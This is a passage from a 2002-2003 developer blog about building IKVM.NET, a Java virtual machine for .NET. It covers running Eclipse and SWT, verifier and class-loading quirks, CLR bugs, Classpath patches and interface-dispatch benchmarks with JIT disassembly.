  5. Open a Command Prompt window and cd into the eclipse directory and run eclipse.bat

This should do the trick. If you have any problems, please let me know.

 

2/12/2003 6:19:47 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Finally back

I came across a class file that was the equivalent of the following source:

class Test
{
    public static final int FOO = 1;

    static {
        FOO = 1;
    }
}

This isn't legal Java, but the class file equivalent is. The FOO field has a ConstValue attribute with the value 1 and then there is code in the static initializer to set the value again. The code in the static initializer isn't needed and the Java compilers I've seen so far don't emit it.

Anyway, IKVM handles assignments to (non-blank) final fields by just ignoring the assignment, but my code generator emitted a nop instruction, instead of a pop (because it should consume the value on the stack). Fixed.

GNU Classpath is about to release version 0.05, so I got their code from cvs and updated my native methods to work with the latest code (the only changes required were for Object[In][Out]putStream, because Mark cleaned those up to use less native code, a nice improvement!). There was still one remaining issue with compiling the classpath code with ikvmc, I had to comment out a line of code in java/nio/charset/Charset.java:

  public final ByteBuffer encode (String str)
  {
    return encode (CharBuffer.wrap (str));
  }

CharBuffer.wrap takes an CharSequence as its argument, but my java.lang.String doesn't implement CharSequence (yet). It occurred to me that since it is legal for any reference type to be passed where an interface is expected (see here) this code was legal as well (even if String doesn't implement CharSequence), so I added support to the compiler to insert casts when the arguments on the stack do not match with the expected method arguments (but only for interface references).

Finally, there is still one patch required to Classpath, because new File("c://") hangs:

RCS file: /cvsroot/classpath/classpath/java/io/File.java,v
retrieving revision 1.21
diff -r1.21 File.java
334,335c334
< if (!PlatformHelper.isRootDirectory(path))
< while (PlatformHelper.endWithSeparator(path))
---
> while (!PlatformHelper.isRootDirectory(path) &&
> PlatformHelper.endWithSeparator(path))

You wouldn't expect this to be a common occurrence, but it turns out that this exact path is constructed by the code that computes the current directory, so if you use ikvm to run a Java application in the root directory of a drive it hangs (without this patch).

 

2/12/2003 1:46:52 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, January 17, 2003

Hello Mono

Zoltan Varga wrote on the ikvm-developers list:

   After lots of hacking, I managed to get IKVM to run HelloWorld under mono. This involved lots of changes/bugfixes to IKVM, the mono runtime and the class libs. I intend to submit a big patch to the mono mailing list shortly with the changes.

Great news!

Unrelated to the above, I checked in a bunch of changes and updated the source and binary snapshots. I'll be out of the country for two weeks, so there probably won't be much activity.

1/17/2003 10:04:28 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Thursday, January 16, 2003

Ted Neward wrote:

All this really does, though, is help underscore how fundamentally broken the Java ClassLoader model really is. CLASSPATH is a gross hack and should be deprecated immediately (as in entirely absent from JDK 1.5 and up), and issues like verisoning and JAR-to-JAR dependencies resolved in a more sane and reasonable fashion. Anybody out there in bloggerland willing to go in with me on a new JSR? [The Mountain of Worthless Information]

I couldn't agree more. I've sent him an e-mail offering to help out with the JSR.

1/16/2003 1:09:15 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Saturday, January 11, 2003

custom modifiers and return type custom attributes

Suppose you have the following Managed C++ class:

__gc class Foo {
  void foo(int i) {}
 
void foo(long l) {}
};

How is this compiled? The problem, of course, is that int and long are both signed 32 bit integers. A type cannot have two methods with exactly the same signature. To solve this problem the CLR has custom modifiers (see Partion II Metadata.doc, section 7.1.1). ILDASM shows the above methods as follows:

[...] void  foo(int32 i) [...]
[...] void  foo(int32 modopt([Microsoft.VisualC]Microsoft.VisualC.IsLongModifier) l) [...]

The long parameter is annotated with the optional modifier Microsoft.VisualC.IsLongModifier. Modifiers are part of the signature, so it is legal to have signatures that differ only by modifier.

Now, suppose IKVM.NET is compiling the following Java class:

class Foo {
  Bar foo(Bar o) {}
  Baz foo(Baz o) {}
}

Also suppose that Bar and Baz are not yet available when the class is compiled. For the types that are not available, java.lang.Object is substituted, so now we again have two methods with the same signature. It would have been nice to use a custom modifier to resolve this, but this isn't possible for two reasons:

  1. custom modifiers are not supported by Reflection.Emit (in .NET 1.0 and 1.1)
  2. custom modifiers do not accept any arguments, only a type (it would be possible to generate a type for each modifier, but that would hardly be an elegant solution)

The solution is to use method name mangling. The next problem is that we need a place to store the name of the class that the arguments and return value actually are. The most obvious way to do this is custom attributes. Method arguments (parameters) can be annotated with custom attributes using MethodBuilder.DefineParameter(...). Parameters are indexed starting at one, this (and the ilasm syntax) suggests that zero refers to the return type, unfortunately DefineParameter throws an exception when it is called with zero. This bug also exists in both .NET 1.0 and 1.1. Again the work around is easy, just emit a method attribute and put the real return type class in there.

1/11/2003 12:02:32 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Sunday, January 05, 2003

Why Eclipse

Someone wondered why I chose to try to get Eclipse to run. Three simple reasons:

  • Mark Wielaard posted his success story on the GNU Classpath mailing list.
  • It's a complicated application and that really helps to find bugs.
  • It doesn't require AWT. It will be quite some time before AWT will be done (if ever), so for the time being console (or SWT) applications are all I can use.

Status update: I've been doing a lot of rewriting in the verifier/compiler. I now feel that I finally understand class loading (in particular, what happens when a class is not found). In the verifier and in the compiler, class names are now no longer used, instead references to the TypeWrapper class are used to identify types. This isn't just a performance optimization, but also a requirement because class names aren't necessarily unique (only within a class loader). Still no support for different classes with the same name though, it's getting closer though.

The reason I started this rewriting, is to enable dynamic binding when a class isn't found. The current compiler just inserts a throw NoClassDefFoundError when it encounters a type that couldn't be loaded (and if the verifier needed to load the type, the whole method will just be replaced with code that throws a VerifyError). This is not what the Sun JVM does, it actually retries to load the class everytime the method executes. To simulate this behavior I'm going to emit late bound code in the cases where a class isn't available when the type is compiled. After all this is done, I should be able to run Eclipse without the -Xbootclasspath workaround.

1/5/2003 4:01:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, December 31, 2002

2 min 30 sec

I figured out a way to lazily create the stack traces (only for ClassNotFoundException, but the principle applies to some of the other exceptions as well) and this enables me to get the improved performance without losing stack trace information. With a precompiled xerces implementation, Eclipse startup is now 2.5 minutes.

Details of what I did:

Previously, whenever an exception object was instantiated, a call to Throwable.fillInStackTrace was inserted, but when the exception is thrown this isn't needed (when the exception isn't thrown, but printStackTrace is called on it, the call to fillInStackTrace is needed). So the compiler now checks if the instruction following the exception constructor invocation is an athrow and if it is, it will not add the call to fillInStackTrace.

The above in itself wouldn't really help performance, because whenever an exception is caught, the full stack trace is computed (if it wasn't done before), so I added code to the compiler to detect that the exception handler didn't actually use the exception object (easy for code compiled with javac 1.1, because the first instruction of the catch block is pop, harder for code compiled with javac 1.4 or jikes, because it stores the exception in a local variable, even if it isn't used). If the compiler detects that the catch block discards the exception object, it will not emit a call to MapException (which in turn calls fillInStackTrace).

12/31/2002 1:12:46 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, December 30, 2002

Eclipse Startup Perf

A large part of the startup time of Eclipse is caused by the overhead of producing stack traces for the about 25.000 ClassNotFoundExceptions that are thrown during startup (a really lame design of the Java class loader causes it to throw multiple ClassNotFoundExceptions for each class that is loaded). Java and .NET exception handling differ sufficiently that I have to do a lot of processing to build a stack trace for each exception that is thrown, and this is pretty expensive. As a test I decided to disable stack trace generation for ClassNotFoundExceptions and this reduces Eclipse startup time to 3 minutes! Note that this isn't entirely comparable to the 7 minute figure from Saturday, because various other things have also changed.

An alternative optimization that I investigated, was to add a hack the ClassLoader and URLClassLoader to reuse the exception object in URLClassLoader instead of throwing a new one, this also saved a significant amount of time. I'm wondering how others feel about this optimization? It consists of two changes: 1)ClassLoader.loadClass() calls ClassLoader.findClassFast(String name, ClassNotFoundException e) which calls ClassLoader.findClass(), 2) URLClassLoader overrides findClassFast and does a check to see if it has been subclassed, if not it calls findClassImpl and passes it the exception object it got from loadClass, if it has been subclassed it call URLClassLoader.findClass which calls findClassImpl with null as the exception object.

We're not there yet, but progress is being made :-)

12/30/2002 6:00:08 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Saturday, December 28, 2002

Have you tried the java.util.zip.ZipFile speedup patch? http://gcc.gnu.org/ml/java/2002-12/msg00288.html It made a huge difference in startup time for gij. [Mark Wielaard]

Just did. Startup (with the CVS explorer and a Java source open) went from 7:18 to 7:03, so it does help, but not enough ;-)

12/28/2002 5:29:40 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Eclipse on .NET. Jeroen Frijters: I got Eclipse to run  I wonder if something like NGEN could be used to address the startup time issues. [Sam Ruby]

It should be possible to use ikvmc to compile the jars to .NET assemblies, at some point in the future I will probably look into this.

12/28/2002 4:57:46 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Eclipse on .NET

I got Eclipse to run. Lot's of stuff still doesn't work, but CVS browsing and Java file editing works. Startup is very slow (a couple of minutes), but once the classes are loaded performance is OK.

Screenshot. Exception log.

Instructions:

  • Download the ikvm.net binaries
  • Install Eclipse
  • cd \eclipse
  • \ikvm\bin\ikvm -Djava.version=1.3 -cp startup.jar -Xbootclasspath:plugins\org.apache.xerces_4.0.7\xercesImpl.jar;plugins\org.apache.xerces_4.0.7\xmlParserAPIs.jar org.eclipse.core.launcher.Main -os win32 -ws win32 -arch x86 -install file:C:/eclipse/
  • Ignore the "System.UnauthorizedAccessException: Access to the path "d:\eclipse" is denied." exceptions

Updated the binaries and source snaphots.

12/28/2002 1:39:24 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, December 19, 2002

SourceForge

I set up a SourceForge project. I checked in all the code and created a mailing list. Since I'm a total SourceForge newby, any comments are appreciated.

I expect the mailing list to be very low traffic, so if you're at all interested in following IKVM.NET, please subscribe.

BTW, I dropped the first dot from the name. It's now IKVM.NET.

12/19/2002 9:07:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Tuesday, December 17, 2002

Back home and logs

I'm back from Bonaire. Many things to do, and I'm not sure when there will be progress.

While browsing the web server logs, I found an interesting item:
tide72.microsoft.com using Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3215; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 1.2.21120)

Someone inside Microsoft running Whidbey on Longhorn? Not very surprising of course, but the fact the version number is 1.2 puzzles me. It has been generally assumed that Whidbey would be 2.0.

I'm looking forward to beta testing that stuff... On a related note, anybody have any idea when the next PDC will be?

12/17/2002 12:48:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Friday, December 13, 2002

temporarily out of order

The server hosting www.frijters.net seems to be having problems. For the time being the source and binaries can be downloaded here: source, binaries.

UPDATE: server is back up again.

12/13/2002 7:37:56 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

protected

Interesting post by Chris Daly on the advanced-dotnet list today. He questions the C# language spec, which says that the following is illegal:

public class A
{
protected int x;
}
public class B: A
{
static void F(A a, B b) {
a.x = 1; // Error, must access through instance of B
b.x = 1; // Ok
}

The equivalent Java is legal. When I statically compile the Java equivalent of A and B into two different assemblies, to resulting B.dll is unverifiable. It's not just a C# language issue, the CLR restricts access to protected members in this way. When both types are compiled into the same assembly there is no problem, because protected is compiled as famorassem so any type in the assembly already has access (this is needed because protected also implies package access, which has no CLR equivalent).

I wonder if a work around is required.

UPDATE: I wasn't quite awake yet. Of course, the reason that the above code works in Java is because protected implies package access, it has nothing to do with the protectness of the field. When you move A and B into different packages, javac fails with the same error as the C# compiler.

12/13/2002 2:32:21 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, December 10, 2002

I did some debugging last night to try and figure out where the random NullReferenceExceptions come from when running the SWT samples. I couldn't pinpoint anything (adding Console.WriteLines completely changed the behavior :-(), but when I tried running the exe under the 1.1 beta CLR the problem didn't occur, so naturally, now I'm beginning to wonder whether it is actually caused by a CLR bug...
12/10/2002 4:25:19 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, December 06, 2002

Bonaire

I'm off to Bonaire until the 17th, so there probably won't be any updates before then.

12/6/2002 8:34:09 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, December 03, 2002

SWT

I've been working on getting the SWT (the Eclipse windowing toolkit) examples to run. This mostly involved implementing a lot of JNI methods.

The examples now run, but they do run into the occasional random NullPointerException. Probably caused by a sneaky bug in the (un)managed C++ code.

Here is a statically compiled version ControlExample (including all the supporting DLLs needed).

Note that this will only run on Windows, because my JNI implementation is written in Managed C++ it will not run on Mono.

Some interesting findings:

  • SWT has a reference to the sun.awt.windows.WEmbeddedFrame class. What's that about?
  • In order to get the FileViewer example to run, I had to use the STAThread attribute on my main method. Boy I'm I glad I missed the whole COM thing (was busy doing Java). This just too lame.
  • Reflection.Emit does not support embedding resources in a module (lame!). I had to add resource support to ikvmc (and the VM) to get ControlExample to work, statically compiled, so I added initialized global public fields to the assembly and used System.Runtime.CompilerServices.RuntimeHelpers.InitializeArray to copy the field data to an array.
12/3/2002 9:32:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [10]

Saturday, November 30, 2002

Interfaces & the Verifier

To my surprise to following code (Jasmin source) is verifiable and runs without throwing any exceptions (Sun's JRE 1.4.1):

.class public ifmerge3
.super java/lang/Object
.field public static r Ljava/lang/Runnable;
.method public <init>()V
   .limit locals 2
   .limit stack 8
   aload_0
   invokenonvirtual java/lang/Object/<init>()V
   return
.end method
.method public static main([Ljava/lang/String;)V
   .limit stack 5
   .limit locals 4
   ldc ""
   putstatic ifmerge3/r Ljava/lang/Runnable;
   return
.end method

The red lines are the interesting ones. It is apparantly (the vmspec doesn't really talk about this) legal to use any object reference in any place where an interface reference is expected.

This has an interesting implication for the performance of interfaces in Java. It means that whenever an interface method is invoked, the VM will always need to check if the reference does in fact implement the interface in question. This should make interface invocation slower. To test this theory, I wrote a small benchmark:

class ifperf implements Runnable {
  public void
run() {}
  public static void
main(String[] args) {
    Runnable r =
new
ifperf();
    Runnable[] ar =
new
Runnable[10000];
    for(int
i = 0; i < ar.length; i++)
      ar[i] = r;
    long
start = System.currentTimeMillis();
    for(int
i = 0; i < 1000; i++)
      for(int
j = 0; j < ar.length; j++)
        ar[j].run();
    long
end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Sun's J2RE 1.4.1: 300 ms
IKVM (on .NET 1.1 beta): 150 ms

John Lam has written about the implementation of .NET's interface method dispatch here. I haven't been able to find any articles that talk about HotSpot's implementation of interface method dispatch. Let's look at the code that is generated by both JITs.

.NET 1.1 beta code (inner loop only):

07591DCC  cmp         edi,dword ptr [esi+4] 
07591DCF  jl          07591DD4
07591DD1  inc         ebx 
07591DD2  jmp         07591D91
07591DD4  cmp         edi,dword ptr [esi+4]
07591DD7  jae         07591DED
07591DD9  mov         ecx,dword ptr [esi+edi*4+0Ch]
07591DDD  mov         eax,dword ptr [ecx]
07591DDF  mov         eax,dword ptr [eax+0Ch]
07591DE2  mov         eax,dword ptr [eax+94h]
07591DE8  call        dword ptr [eax]
07591DEA  inc         edi 
07591DEB  jmp         07591DCC
07591E80  ret              

J2RE 1.4.1 HotSpot code (inner loop only):

00AC7023  mov         esi,dword ptr [ebp-18h] 
00AC7026  mov         edi,dword ptr [ebp-0Ch]
00AC7029  cmp         edi,dword ptr [esi+8]
00AC702C  jae         00AC7146
00AC7032  mov         esi,dword ptr [esi+edi*4+0Ch]
00AC7036  mov         dword ptr [esp],esi
00AC7039  mov         ecx,esi
00AC703B  cmp         eax,dword ptr [ecx]
00AC703D  mov         eax,6B68778h
00AC7042  call        00ABCE25
00AC7047  inc         dword ptr [ebp-0Ch]
00AC704A  mov         esi,dword ptr [ebp-18h]
00AC704D  mov         esi,dword ptr [esi+8]
00AC7050  mov         edi,dword ptr [ebp-0Ch]
00AC7053  es:
00AC7054  cs:
00AC7055  fs:
00AC7056  gs:
00AC7057  nop
00AC7058  cmp         edi,esi
00AC705A  jl          00AC7023
00ABCE25  mov         edx,dword ptr [eax+0Ch] 
00ABCE28  mov         ebx,dword ptr [eax+8]
00ABCE2B  cmp         edx,dword ptr [ecx+4]
00ABCE2E  jne         00ABB6C0
00ABCE34  cmp         dword ptr [ebx+38h],0
00ABCE3B  jne         00ABB8C0
00ABCE41  jmp         00A67940
00A67940  ret              

The first thing to notice, is that HotSpot (in this particular example) is not very good at optimizing register usage, compared to the .NET JIT. .NET uses EDI as the loop counter and ESI as the array reference, whereas HotSpot keeps both the counter and the array reference on the stack. This difference probably accounts for a large part of the performance difference.

The second thing to notice, is that both HotSpot and .NET do not eliminate the array bounds check (again, in this particular example).

The code at 00ABCE25 is where it gets really interesting. After running a while, HotSpot noticed that all calls to Runnable.run() at this site actually resolved to ifperf.run() and so it emitted code that takes advantage of that fact. However, since it cannot prove that this will always be true, it has generated code that checks that the reference does indeed refer to an ifperf object (the cmp instruction at 00ABCE2B does this), and if it doesn't, it jumps to some code at 00ABB6C0 to do the interface method lookup and patch the call at 00AC7042 to point to a new location that does the interface method lookup and does the profiling that started this optimization in the first place. I'm not sure what the second comparison does, but it's something similar. The final branch at 00ABCE41 jumps to the ifperf.run() implementation (bypassing any dynamic dispatch!).

Conclusions: All of this complex optimization (and on-the-fly deoptimization!) makes micro benchmarking fairly useless (as many others have previously demonstrated). As an example, storing just a single non ifperf Runnable in the array slows HotSpot down by about 10%, while in .NET this has no effect. However, interleaving two different Runnable object types in the array slows HotSpot down by about 20% whereas it slows down .NET by about 300% (and I cannot explain that).

Now, the real question is, does IK.VM.NET need to support assigning object references (that do not implement a particular interface) to references of that interface type? The current design (although the implementation isn't quite correct) is to allow the code above to be verified, but when it runs it throws an IncompatibleClassChangeError when the putstatic is executed.

11/30/2002 2:20:15 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, November 25, 2002

More Miranda

The System.TypeLoadException I mentioned here turns out to be caused by a bug in the .NET 1.0 CLR (MS has already fixed it in the current 1.1 beta).

Here is some code that triggers it:

interface __Shape
{
    public abstract __Rectangle getBounds();
    public abstract __Rectangle2D getBounds2D();
}
abstract class __RectangularShape implements __Shape
{
    public __Rectangle getBounds()
    {
return null;
    }
}
abstract class __Rectangle2D extends __RectangularShape
{
    public __Rectangle2D getBounds2D()
    {
        return null;
    }
}
class __Rectangle extends __Rectangle2D implements __Shape
{
    public __Rectangle getBounds()
    {
        return null;
    }
    public __Rectangle2D getBounds2D()
    {
        return null;
    }
}

If this code was compiled with Jikes 1.18 (which doesn't emit Miranda methods) and then run in IK.VM.NET, it failed with a System.TypeLoadException. The fix was easy, just emit an abstract method for each interface method that a type doesn't implement. A compiled DLL of the above code can be found here. When run through peverify 1.0, it will fail verification, in 1.1 this is fixed.

I compiled the Classpath code I got on Friday with Jikes 1.18 and made a new release based on that (including, of course, all the VM fixes I had to do).

Updated the binaries and source snaphots.

11/25/2002 10:05:05 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, November 23, 2002

Eclipse

For the time being I switched back to jikes 1.15. When trying to start Eclipse (M2), it failed with a ClassNotFoundException: org.xml.sax.InputSource.

It turns out that in org.eclipse.core.internal.runtime.InternalPlatform the following method causes a problem:

public synchronized static
PluginRegistryModel parsePlugins(URL[] pluginPath,
                               
 Factory factory,
                                 boolean
debug) {
// If the platform is not running then simply parse the
//
 registry.
//
 We don't need to play any funny class loader games as
//
 we assume the XML classes are on the class path
// This happens when we are running this code as part of
// a
 utility (as opposed to starting or inside the
// platform).

if (!(InternalBootLoader.isRunning() ||
     InternalBootLoader.isStarting()))
  return RegistryLoader.parseRegistry(pluginPath,
                                      factory,
                                      debug);

// If we are running the platform, we want to conserve
// class loaders.
// Temporarily install the xml class loader as a
// prerequisite
of the platform class loader
// This allows us to find the xml classes. Be sure to
// reset the prerequisites after loading.

PlatformClassLoader.getDefault().setImports(
  
new DelegatingURLClassLoader[]
    { xmlClassLoader });

try {
  return RegistryLoader.parseRegistry(pluginPath,
                                      factory,
                                      debug);
} finally {
 
PlatformClassLoader.getDefault().setImports(null);
}
}

The bold line basically adds the xerces plugin to the classpath, this is needed because RegistryLoader depends on it. However, in IK.VM.NET the RegistryLoader class gets compiled when the above parsePlugins method is JITted by the .NET runtime, and at that moment the xerces code is not yet available.

This is an interesting problem, but I'm not sure if this construction is actually guaranteed to work on all VMs by the spec.

11/23/2002 2:19:31 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, November 22, 2002

Swamp

I tried to get Eclipse to run. This led to an interesting series of events:

  • I found that I didn't set the ProtectionDomain of a Class instance. Fixed.
  • I found that FileOutputStream in append mode didn't work. Fixed.
  • I found that Eclipse requires a 1.3.0 VM, but doesn't give any feedback whatsoever if the version isn't good enough. Workaround: ikvm -Djava.version=1.3.0
  • The bytecode compiler didn't implement migrating uninitialized object references into and out of try-blocks. Fixed.
  • The version of java.io.File.listFiles() that I used couldn't deal with the native method returning null. Fixed by getting the latest version from CVS.
  • Classpath's java.net.URL has bug where it doesn't try its own pool of protocol handlers, if a factory is installed, but the factory refuses a particular protocol. In order to fix this, I first had to update my Classpath code, to get the most recent URL code (it changed quite a bit, but the bug is still there).
  • After I got the latest version of Classpath from CVS, jikes would hang when compiling (it later turned out that jikes wasn't hanging, but that it was actually nAnt, but at that moment I suspected jikes).
  • I downloaded a new version of jikes, 1.18 (the version I was using was 1.15), generally tried as sorts of stupid things (including accidentally deleting my whole Classpath tree).
  • Not exactly sure why, but this whole exercize caused a number of bugs to appear when compiling classpath.dll. Here are some examples:
  • When this code is compiled by jikes 1.15:
    class Outer {
        private static class Inner {
            private Inner() {}
        }
        public static void main(String[] args) {
           new Inner() { };
        }
    }
    First of all, I don't why this is legal. IMO since the constructor of Inner is private, you shouldn't be able to instantiate in Outer, but Sun's 1.4 compiler compiles it, and so does jikes. However, jikes 1.15 actually emits code that calls the private constructor from the constructor of the anonymous class. This is clearly incorrect (and it is fixed in 1.18), but it took me a while before I had figured out what was going on. BTW, the "correct" compilation is to inject a synthetic constructor in Inner that accepts a reference to the Outer class (and has package accessibility).
  • jikes doesn't generate Miranda methods. Take the following class, for example:
    abstract class Foo implements Runnable {
        Foo() {
            run();
        }
    }
    This compiles (and is legal). When javac compiles this code, it inserts an public abstract void run() method into Foo, this method is called a Miranda method. Older VMs (probably in the 1.0 time frame) didn't think the class was valid without this method. Jikes doesn't do this and IK.VM.NET couldn't handle that. Fixed.
  • Access check for fields had a bug. java.awt.Component directly accesses the id field of several events, this is legal because in the java.awt.AWTEvent class the id field is declared protected (which also implies package accessibility). However, jikes 1.18 decided that the reference to the field should not be compiled as a reference to java.awt.AWTEvent.id, but to (e.g.) java.awt.event.ComponentEvent.id, perfectly legal, because the field is inherited, but the compiler incorrectly did the package accessibility check on the class name in the reference, instead of on the class name where the field is actually declared. Fixed.

At the moment I'm stuck on an exception that the .NET framework throws (when I'm compiling classpath.dll with ikvmc):

System.TypeLoadException: Method getBounds2D in type java.awt.Rectangle from assembly getBounds2D does not have an implementation.
   at System.Reflection.Emit.TypeBuilder.TermCreateClass(TypeToken handle, Module module)
   at System.Reflection.Emit.TypeBuilder.CreateType()

I have no idea why this happens. Interestingly enough, it doesn't happen when I compile with jikes 1.15.

11/22/2002 3:45:26 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, November 21, 2002

ikvmc

Inspired by Stuart's comment to yesterday's post, I decided to clean up ikvmc a little to make it possible to compile executables.

Other changes:

  • it's now possible to specify an IL implementation of a native method in map.xml. At the moment this is used only for System.identityHashCode() to solve this issue.
  • map.xml is now parsed using the XmlSerializer (see yesterday's post on why this is not a good idea)
  • implemented a work-around for the stack overflow that occurred when the compiler couldn't find java.lang.ClassNotFoundException
  • ikvm now supports -classpath switch (thanks dIon)

I've only compiled a simple Hello World type executable with ikvmc and here are some things to look out for:

  • all classes (or jars) that are referenced by the application must be specified (except for the Classpath classes)
  • a reference (-reference:<path>) to the classpath.dll must be specified
  • when compiling an executable the class containing the main method must be specified
  • code that expects to be loaded by the system classloader will probably not work. Statically compiled code will be loaded by the bootstrap (aka null) classloader.

Example:
    ikvmc -out:hello.exe -reference:bin/classpath.dll -main:Hello Hello.class

Updated the binaries and source snaphots.

11/21/2002 12:53:45 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Wednesday, November 20, 2002

map.xml

I wasn't happy with the handling of map.xml, so I rewrote the code that deals with it to use XmlSerialization. Cool stuff, but it turns out to be totally unsuitable for this purpose. I only need to parse the xml file once (at startup of the VM), and the XmlSerializer generates a C# file (and compiles it) to do the parsing. This is great if you have to parse lots of files (that adhere to the same schema), but it is very wasteful (i.e. slow) if you only need to parse a single file.

After a lot of thinking, I came to the conclusion that I should statically generate an assembly from the map.xml file. In other words, compile it.

Other thoughts: I'm still trying to find ways to make implementing the classpath "native" methods easier (and more efficient, by getting rid of reflection) and I'm contemplating the following idea: Turning classpath.dll, ik.vm.net.dll & the new compiled map.xml into a multi module assembly. This solves two problems: 1) The native methods implementations no longer have to be public, 2) native methods can be statically compiled against the non-native (i.e. compiled Java) code. Downside: more icky circular dependencies and it won't be possible anymore to run without a precompiled classpath.dll

11/20/2002 9:49:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 13, 2002

F.A.Q.

I wrote a small F.A.Q. that hopefully answers most questions people have without them having to go read through the entire history of the project.

It lives here.

11/13/2002 10:42:17 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [6]

Sunday, November 03, 2002

Conference

Yesterday I arrived in Keystone, Colorado for the Colorado Software Summit, a most excellent Java & XML conference.

I hope to get some hacking done this week, but if I don't it'll be because I'm having too much fun at the conference ;-)

11/3/2002 6:52:13 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, November 01, 2002

GetHashCode & reflection

What is the output of the following code fragment?

  object o = "foo";
  Console.WriteLine(o.GetHashCode());
  Console.WriteLine(typeof(object).GetMethod("GetHashCode").Invoke(o, null));
  Console.WriteLine(typeof(string).GetMethod("GetHashCode").Invoke(o, null));

.NET 1.0 says:

193410979
23
193410979

.NET 1.1 beta says:

193410979
193410979
193410979

Mono 0.13 says:

101574
1554225471
1554225471

Mono 0.16 says:

101574
33369132
101574

Note: the actual numbers are irrelevant, it matters if they match up or not.

.NET 1.1 is correct, the others aren't. The funny thing is, I just realised that IK.VM.NET currently depends (for its System.identityHashCode implementation) on the broken behavior.

.NET 1.0 only behaves this way for methods in String, for other types reflective method invocation works the same as a virtual method call.

In Mono 0.16 all reflective method invocations appear to be non-virtual.

11/1/2002 2:41:12 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Dependencies

Thanks to Zoltan Varga for trying to compile IK.VM.NET on Mono. He pointed out some problems:

  • I used the undocument C# __arglist keyword in my multianewarray helper method, but since Mono's C# compiler doesn't support that and it isn't part of the standard, I reworked that to get rid of the __arglist construct.
  • zlib.dll is a part managed part unmanaged dll, and thus it will not run on Mono. I removed the zlib.dll dependency and I've changed ikvmc and netexp to use java.util.zip.* from classpath.dll.

This change has introduced a circular dependency: ikvmc is used to generate classpath.dll, but it also depends on it.

Other changes:

  • started on NAnt build files, to support building the project outside of Visual Studio .NET, and (in the future) hopefully without platform dependencies.
  • All Classpath's native methods are now (at least partially) implemented, except for java.nio.*

Updated the binaries and source snaphots.

11/1/2002 11:01:07 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, October 29, 2002

java.lang.Thread issues

I worked on java.lang.Thread and ran into two issues. In .NET it is not possible to:

  • obtain the interrupted status of a thread (other than the current thread)
  • test for Monitor ownership

I worked around the interrupted status issue by always returning false when you query a thread other than the current thread :-( and to test for Monitor ownership I do a Monitor.Wait on the object, with a timeout of 0. That works, but it isn't safe, because Wait temporarily releases the Monitor (if we do own it), and that could cause a deadlock :-(

10/29/2002 5:03:28 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, October 25, 2002

James works (sort of)

James now works. Where works is defined as: accepts incoming e-mail via SMTP and allows me to read that e-mail through POP3.

I made some major changes to support reflection, still not completely done yet, but most reflection based code should work now. Also implemented support for Serialization.

Updated the binaries and source snaphots.

10/25/2002 4:55:13 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, October 22, 2002

Yet more James...

I managed to get James to start up! I had to implement a whole chunk of reflection stuff that I hadn't yet implemented. It still isn't anywhere near finished, but it is starting to look a lot better. The architecture is starting to shape up. One of these days I'm going to draw some pictures and write up something about the IKVM architecture, if I can find the time.

Thanks to Mark Wielaard for debugging the resources issue (see previous item).

10/22/2002 8:58:29 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, October 17, 2002

More James...

I changed the class loader to use only one dynamic assembly and tried to run James again. It still doesn't run:

Phoenix 4.0a4

Application file://C:/james/apps/james.sar uses a deprecated packaging format.
There was an uncaught exception:
---------------------------------------------------------
--- Message ---
Unable to create BlockInfo as are unable to locate resource "org/apache/james/James.xinfo".
--- Stack Trace ---
org.apache.avalon.phoenix.interfaces.DeploymentException: Unable to create BlockInfo as are unable to locate resource "org/apache/james/James.xinfo".
        at org.apache...DefaultDeployer.deploy
        at org.apache...DefaultEmbeddor.deployFile
        at org.apache...DefaultEmbeddor.deployFile
        at org.apache...DefaultEmbeddor.deployFiles
        at org.apache...DefaultEmbeddor.deployDefaultApplications
        at org.apache...DefaultEmbeddor.execute
        at org.apache...frontends.CLIMain.run
        at org.apache...frontends.CLIMain.execute
        at org.apache...frontends.CLIMain.main
        at java.lang.reflect.Method.invoke
        at org.apache...launcher.Main.startup
        at org.apache...launcher.Main.main
Caused by: org.apache....assembler.AssemblyException: Unable to create BlockInfo as are unable to locate resource "org/apache/james/James.xinfo".
        at org.apache....assembler.Assembler.getBlockInfo
        at org.apache....assembler.Assembler.buildBlock
        at org.apache....assembler.Assembler.buildBlocks
        at org.apache....assembler.Assembler.assembleSar
        ... 12 more
---------------------------------------------------------
The log file may contain further details of error.
Please check the configuration files and restart Phoenix.
If the problem persists, contact the Avalon project.  See
http://jakarta.apache.org/avalon for more information.
